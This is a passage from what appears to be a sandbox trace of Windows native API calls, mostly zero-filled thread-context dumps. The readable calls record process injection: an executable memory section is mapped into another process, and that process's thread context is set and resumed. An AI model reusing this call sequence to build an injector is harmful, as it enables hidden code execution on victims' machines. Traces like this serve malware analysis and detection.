[94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0442.778] NtCreateSection (in: SectionHandle=0x6be5b4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x6be574, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x6be5b4*=0x214) returned 0x0 [0442.778] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0xffffffff, BaseAddress=0x6be5bc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be574*=0xd1a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5bc*=0x5680000, SectionOffset=0x0, ViewSize=0x6be574*=0xd2000) returned 0x0 [0442.783] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0x1e4, BaseAddress=0x6be5b8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5b0*=0xd1a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5b8*=0xf00000, SectionOffset=0x0, ViewSize=0x6be5b0*=0xd2000) returned 0x0 [0442.793] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x5680000) returned 0x0 [0442.812] NtClose (Handle=0x214) returned 0x0 [0442.812] NtSetContextThread (ThreadHandle=0x20c, Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0xbbfb34, Ebx=0xd9b000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0xbbfadc, Eip=0xf3f927, SegCs=0x23, EFlags=0x202, Esp=0xbbfac4, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0442.812] NtResumeThread (in: ThreadHandle=0x20c, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0442.812] NtClose (Handle=0x1e4) returned 0x0 [0442.812] NtClose (Handle=0x20c) returned 0x0 [0442.814] NtOpenProcess (in: ProcessHandle=0x6be938, DesiredAccess=0x438, ObjectAttributes=0x6be900*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x6be918*(UniqueProcess=0x55c, UniqueThread=0x0) | out: ProcessHandle=0x6be938*=0x20c) returned 0x0 [0442.814] NtQueryInformationProcess (in: ProcessHandle=0x20c, ProcessInformationClass=0x1a, ProcessInformation=0x6be928, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x6be928, ReturnLength=0x0) returned 0x0 [0442.814] NtQueryInformationProcess (in: ProcessHandle=0x20c, ProcessInformationClass=0x0, ProcessInformation=0x6be5ac, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x6be5ac, ReturnLength=0x0) returned 0x0 [0442.814] NtReadVirtualMemory (in: ProcessHandle=0x20c, BaseAddress=0xd23000, Buffer=0x6be8c0, NumberOfBytesToRead=0x20, NumberOfBytesRead=0x0 | out: Buffer=0x6be8c0*, NumberOfBytesRead=0x0) returned 0x0 [0442.814] NtDelayExecution (Alertable=0, Interval=0x6be594*=-50000000) returned 0x0 [0563.518] NtOpenThread (in: ThreadHandle=0x6be92c, DesiredAccess=0x1a, ObjectAttributes=0x6be578, ClientId=0x6be590*(UniqueProcess=0x0, UniqueThread=0x5a4) | out: ThreadHandle=0x6be92c*=0x1e4) returned 0x0 [0564.014] NtSuspendThread (in: ThreadHandle=0x1e4, PreviousSuspendCount=0x0 | out: PreviousSuspendCount=0x0) returned 0x0 [0564.029] NtMapViewOfSection (in: SectionHandle=0x1f4, ProcessHandle=0x20c, BaseAddress=0x6be5cc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x6be5cc*=0x2cd0000, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000) returned 0x0 [0564.033] NtGetContextThread (in: ThreadHandle=0x1e4, Context=0x6be5f4 | out: Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0xeffa98, Ebx=0xd23000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0xeffa40, Eip=0x7742295c, SegCs=0x23, EFlags=0x206, Esp=0xeffa28, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, 